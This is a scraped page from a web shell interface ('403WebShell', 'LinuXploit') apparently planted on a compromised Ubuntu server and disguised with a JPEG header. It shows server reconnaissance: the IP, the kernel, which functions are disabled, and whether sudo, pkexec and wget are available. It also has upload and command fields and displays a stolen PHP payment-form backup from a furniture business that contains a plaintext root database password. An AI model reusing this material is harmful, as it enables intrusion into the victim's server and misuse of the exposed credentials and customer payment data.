����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.14
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/application/payment/nppBackup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/application/payment/nppBackup/v_pos2.php.2025-03-01_175901.bak
<?php
date_default_timezone_set("America/Mexico_City");

session_start();
require_once ("../model/dbconn.php");
require_once ("../model/pos.php");



if(isset($_GET['xid_sales'])){
	$sale_id = $_GET['xid_sales'];
	//obtenemos la venta 
	$pos = new pos();
	$data = $pos->getSale_id($sale_id);
	$client = $data[2];
	
	//print_r($client[0]['disc_rp']);

	// Conexión a la base de datos (ajusta según tu configuración)
	$host = "localhost";
	$dbname = "victoria";
	$username = "root";
	$password = "Hues198020";

	try {
		$pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8", $username, $password, [
			PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
		]);

		// Obtener el contrato del cliente (suponiendo que viene de una variable existente)
		 $contrato = $client[0]['id_client'];

		// Consulta para obtener la fechaPrimerPago desde jobok
		$stmt = $pdo->prepare("
					SELECT 
						cd.paydate AS fechaPrimerPago,
						SUM(p.val) AS sumaPagos FROM 
						collection_data cd
					LEFT JOIN 
						payment p ON cd.contract = p.person_id
					WHERE 
						cd.contract = :contrato
					GROUP BY 
						cd.paydate
					LIMIT 1
				");
		$stmt->bindParam(':contrato', $contrato, PDO::PARAM_STR);
		$stmt->execute();
		$result = $stmt->fetch(PDO::FETCH_ASSOC);
	
		//print_r($result);
	   
	} catch (PDOException $e) {
		die("Error en la conexión: " . $e->getMessage());
	}
	
	}else{
		$sale_id = 0;
	}
		
		if (isset($_GET['contract_search'])) {
			// Si se pasa contract_search, buscamos el contrato
			$contrato = $_GET['contract_search'];
			

			try {
				$pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8", $username, $password, [
					PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
				]);
			$stmt = $pdo->prepare("
				SELECT 
					cd.paydate AS fechaPrimerPago,
					SUM(p.val) AS sumaPagos,
					ts.id_client,ts.sale_id,ts.total,ts.disc_rp  -- Aquí agregamos la columna id_client de la tabla t_sale
				FROM 
					collection_data cd
				LEFT JOIN 
					payment p ON cd.contract = p.person_id
				LEFT JOIN 
					t_sale ts ON ts.id_client = cd.contract  -- JOIN con la tabla t_sale
				WHERE 
					cd.contract = :contrato
				GROUP BY 
					cd.paydate
				LIMIT 1
			");	
			$stmt->bindParam(':contrato', $contrato, PDO::PARAM_STR);
			$stmt->execute();
			$result = $stmt->fetch(PDO::FETCH_ASSOC);

			if ($result) {
				// Si se encuentra el contrato, devolver los datos en formato JSON
				$response = [
					'success' => true,
					'contract' => $contrato,
					'fechaPrimerPago' => $result['paydate'],
					'sumaPagos' => $result['sumaPagos'],
					'total' => $client[0]['total'], // Este valor debe ser calculado según tu lógica
					'saldo' => $client[0]['total'] - $result['sumaPagos']
				];
			} else {
				// Si no se encuentra el contrato
				$response = ['success' => false];
			}
			
			echo json_encode($response); // Devolver los resultados como JSON
			exit();
				} catch (PDOException $e) {
				die("Error en la conexión: " . $e->getMessage());
			}
		
		}

		
// Si hay resultado, se usa la fecha de primer pago; de lo contrario, se usa la fecha actual
	if(isset($result)){
	     $fechaPrimerPago = $result ? $result['fechaPrimerPago'] : date("Y-m-d");
	}else{
		$fechaPrimerPago = date("Y-m-d");
	}  
	
	
	// Suponiendo que la variable $contrato proviene de la base de datos o una consulta previa
	$contrato = isset($client[0]['id_client']) ? $client[0]['id_client'] : "";
	$total = isset($client[0]['total']) ? $total = $client[0]['total'] + $client[0]['disc_rp'] : 0;
	$readonly = !empty($contrato) ? "readonly" : ""; 
	$readonly2 = !empty($total) ? "readonly" : ""; 
	if($total > 0){
		 $pagos = $result['sumaPagos'];
		 $engancheEfe = $client[0]['disc_rp'];
	}else{
		
	}

	   
?>


<!DOCTYPE html>
<html lang="es">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Editar pago</title>
  <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css" rel="stylesheet">
  <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>

  <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.bundle.min.js"></script>
  <style>
  .titulo-barra {
    background-color: black; /* Fondo negro */
    color: white; /* Texto blanco */
    text-align: center; /* Centrar el texto */
    padding: 10px; /* Espaciado interno */
    font-size: 24px; /* Tamaño de fuente más grande */
    font-weight: bold; /* Negrita */
    border-radius: 5px; /* Bordes redondeados opcionales */
}

</style>

<!-- Incluir SweetAlert desde un CDN -->
<!-- Incluir SweetAlert 1.x desde un CDN -->
<script src="https://cdn.jsdelivr.net/npm/sweetalert@1.1.3/dist/sweetalert.min.js"></script>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/sweetalert@1.1.3/dist/sweetalert.css">
<script src="https://cdn.jsdelivr.net/npm/notifyjs"></script>

</head>
<body>
 <div class="titulo-barra">
    <h2>Formulario de Pagos(No Aplicar con Pagos programados)</h2>
</div>



  <div class="container mt-5">
  
  <div class="form-group">
    <label for="contract_search" class="control-label">Buscar por Contrato</label>
    <input type="text" id="contract_search" class="form-control" placeholder="Código de contrato">
    <button type="button" id="search_contract" class="btn btn-primary mt-2">Buscar</button>
</div>
	
	<div class="container-fluid">
    <div class="row justify-content-center">
        <div class="col-md-10">
            <div class="card">
                <div class="card-body">
                    <div class="form-group">
                        <label for="created_pay" class="control-label">Fecha de cobro</label>
                       <input type="date" name="created_pay" min="2018-01-01" max="2035-12-31" class="form-control" id="created_pay" value="<?php echo $fechaPrimerPago; ?>" required>
						</div>

                    <div class="form-group">
                        <label for="id_collector" class="control-label">Cobrador</label>
                        <select name="id_collector" id="id_collector" class="form-control">
                            <option value="0">-- OFICINA --</option>
                        </select>
                    </div>

                    <div class="form-group">
                        <label for="type_pay" class="control-label">Tipo Pago</label>
                        <select name="type_pay" id="type_pay" class="form-control">
                            <option value="0">--Abono--</option>
                            <option value="1">Enganche</option>
                        </select>
                    </div>

                   <div class="form-group">
						<label for="product_code" class="control-label">Contrato</label>
						<input type="hidden" id="id_client" class="form-control" placeholder="id_client"> 
						<input type="text" id="product_code" class="form-control" placeholder="Contrato" 
							   value="<?php echo $contrato; ?>" <?php echo $readonly; ?>>
					</div>
					
					<?php if($total>0):?>
					 <div class="form-group">
                        <label for="total_deuda" class="control-label">Total Credito</label>
                        <input type="text" id="total_credito" class="form-control" placeholder="Total" value="<?php echo $total?>" <?php echo $readonly2; ?>>   
                    </div>
					
					 <div class="form-group">
                        <label for="total_deuda" class="control-label">Saldo</label>
                        <input type="text" id="saldo" class="form-control" placeholder="saldo" value="<?php echo $saldo = $total-$pagos-$engancheEfe; ?>" <?php echo $readonly2; ?>>   
                    </div>
					
					<?php endif;?>
                    <div class="form-group">
                        <label for="total_deuda" class="control-label">Total de Pagos Atrazados</label>
                        <input type="number" id="total_deuda" class="form-control" placeholder="Total adeudado" value="" >   
                    </div>

                    <div class="form-group">
                        <label for="val" class="control-label">Pago a Recibir*</label>
                        <input type="text" name="val" id="val" class="form-control" placeholder="Pago a recibir" required readonly>
                    </div>
					
					 <div class="form-group">
                        <label for="val" class="control-label">Nota(opcional)</label>
                        <input type="text" name="nota" id="nota" class="form-control" placeholder="nota" >
                    </div>

                    <div class="form-group text-center">
                        <button id="btnsavetrans" type="submit" class="btn btn-primary">Realizar Cobro</button>
                        <a href="./?view=credit" class="btn btn-danger">Cancelar</a>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>


</div>

   

    <!-- Modal para editar el valor -->
    <div class="modal" id="editValModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
      <div class="modal-dialog" role="document">
        <div class="modal-content">
          <div class="modal-header">
            <h5 class="modal-title" id="exampleModalLabel">Editar Valor</h5>
            <button type="button" class="close" data-dismiss="modal" aria-label="Close">
              <span aria-hidden="true">&times;</span>
            </button>
          </div>
          <div class="modal-body">
            <div class="form-group">
              <label for="new_val">Nuevo Valor</label>
              <input type="number" class="form-control" id="new_val" placeholder="Nuevo valor">
            </div>
          </div>
          <div class="modal-footer">
            <button type="button" class="btn btn-secondary" data-dismiss="modal">Cerrar</button>
            <button type="button" class="btn btn-primary" id="saveValBtn">Guardar Cambios</button>
          </div>
        </div>
      </div>
    </div>
  </div>
 

	<script>
	
		   document.addEventListener("DOMContentLoaded", function () {
        // Seleccionar los inputs
        let totalInput = document.getElementById("saldo"); // Total adeudado
        let pagosInput = document.getElementById("total_deuda"); // Input donde se captura el pago
        let valInput = document.getElementById("val"); // Input donde se mostrará la diferencia
			
			console.log("Escribiendo el valor saldo en pagos ");
        // Evento para calcular automáticamente la diferencia
        pagosInput.addEventListener("input", function () {
            let total = parseFloat(totalInput.value) || 0; // Convertir a número (si está vacío, usar 0)
            let pagos = parseFloat(pagosInput.value) || 0;

             // Si el pago es mayor al total, limitarlo
            if (pagos > total) {
                pagosInput.value = total; // Ajustar el input al máximo permitido
                pagos = total; // Asegurar que el cálculo se haga con el máximo permitido
            }

            let diferencia = total - pagos;
            valInput.value = diferencia; // Mostrar con dos decimales
        });
    });
	
	
		window.onload = function() {
			document.getElementById("total_deuda").focus();
		};
		
		//agregamos pago
$(document).on("click","#btnsavetrans",function()
{
	
	 total = $("#total_credito").val();
      val = $("#val").val();
	  pay_min = $("#val").val();
	  console.log("condicion de pago minimo");
	  
      if( val!="" && val>0 ){
		  
        console.log(parseFloat(val));
		console.log(parseFloat(pay_min));
		
        if(parseFloat(val)>=parseFloat(pay_min)){
			console.log("el valor es mayor");
          // procesamos
			//go = confirm("Esta seguro que desea continuar?");
			//if(!go){ e.preventDefault(); }
			
	
        }else{
			console.log("el valor es  menor");
			alert("No es posible recibir un pago menor .")
			
			return;			
        }

      }else{
        alert("Debes ingresar un valor mayor que 0.")
      
		return;
      }
	  
	
	console.log("proceso para abonar ");
		
	
	
	if(val == '' || val == null)
	{
		console.log("condicion null o campo vacio ");
		
		
		$.notify({
			message: "El pago minimo es requerido"
		},{
			type: 'warning',
			delay: 5000,
		});
		return;
	}else{
			$("#btnsavetrans").prop('disabled', false);

		
	}
	
	
	var created_pay = $("#created_pay").val();
	var id_collector = $("#id_collector").val();
	var type_pay = $("#type_pay").val();
	//nombre cliente
	var product_code = $("#product_code").val();
	var client_id = $("#client_id").val();
	var nota = $("#nota").val();
	
	swal({   
		title: "Pago",   
		text: "Guardar Pago / Abono ??",   
		type: "warning",   
		showCancelButton: true,   
		confirmButtonColor: "#DD6B55",   
		confirmButtonText: "Guardar",   
		closeOnConfirm: true }, 
		function(){   
			$("#btnsavetrans").prop('disabled', true);
			//proccess_waiting("#infoproccesspayment");
		
			var value = {
				created_pay : created_pay,
				id_collector : id_collector,
				type_pay : type_pay,
				product_code : product_code,
				client_id : client_id,
				pay_min : pay_min,
				val : val,
				nota : nota,
				action : "save_pay"
			};
			$.ajax(
			{
				url : "api.php",
				type: "POST",
				data : value,
				success: function(data, textStatus, jqXHR)
				{
					$("#btnsavetrans").prop('disabled', false);
						
					alert("Registro Exitoso");
						
					
					
					console.log(data.result);
					
					if(data.result == false){
							swal({
								  icon: 'warning',
								  title: '¡Error!',
								  text: 'La operación no se Completo.',
								  showConfirmButton: false,
								  timer: 1500 // Desaparece después de 1.5 segundos
								});
							return;
					}
					if(data.result == true){
			
							$("#btnsavetrans").prop('disabled', false);
							
							
							swal({
								  icon: 'success',
								  title: '¡Registrado!',
								  text: 'La operación se completó con éxito.',
								  showConfirmButton: false,
								  timer: 1500 // Desaparece después de 1.5 segundos
								});

							//pasamos a otra pagina 
							setTimeout( function() { 
								window.location.href = "../customer2/v_customer.php";
							}, 1000 );
					
					}else{
								swal({
								  icon: 'warning',
								  title: '¡Error!',
								  text: 'La operación no se Completo.',
								  showConfirmButton: false,
								  timer: 1500 // Desaparece después de 1.5 segundos
								});
					}

				},
				error: function(jqXHR, textStatus, errorThrown)
				{
					swal({
								  icon: 'warning',
								  title: '¡Error!',
								  text: 'error general no se Completo operación.',
								  showConfirmButton: false,
								  timer: 1500 // Desaparece después de 1.5 segundos
								});
							
					console.log("Error General!!!!");
					$("#infoproccesspayment").html("");
					$("#btnsavetrans").prop('disabled', false);
				}
			});
	});	

})


$(document).on("click","#search_contract",function()
{
	console.log("aquiiiiiii");
		 var contractCode = $('#contract_search').val();
		 console.log(contractCode);
		 
		  if (contractCode != '') {
            // Realizar la búsqueda enviando el código del contrato
            $.ajax({
                url: window.location.href, // Enviar la búsqueda al mismo script PHP
                type: 'GET',
                data: { contract_search: contractCode },
                success: function (response) {
                    // Aquí puedes actualizar los campos con los resultados que recibes
                    var data = JSON.parse(response);
                    if (data.success) {
                        // Si la búsqueda es exitosa, actualizar los campos
                        $('#product_code').val(data.contract);
                        $('#total_credito').val(data.total);
                        $('#saldo').val(data.saldo);
                        $('#fechaPrimerPago').val(data.fechaPrimerPago);
                    } else {
                        alert('Contrato no encontrado');
                    }
                },
                error: function () {
                    alert('Error al realizar la búsqueda');
                }
            });
        } else {
            alert('Por favor, ingresa un código de contrato');
        }
		
		 
});


	</script>

	</script>
  <script src="app.js"></script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit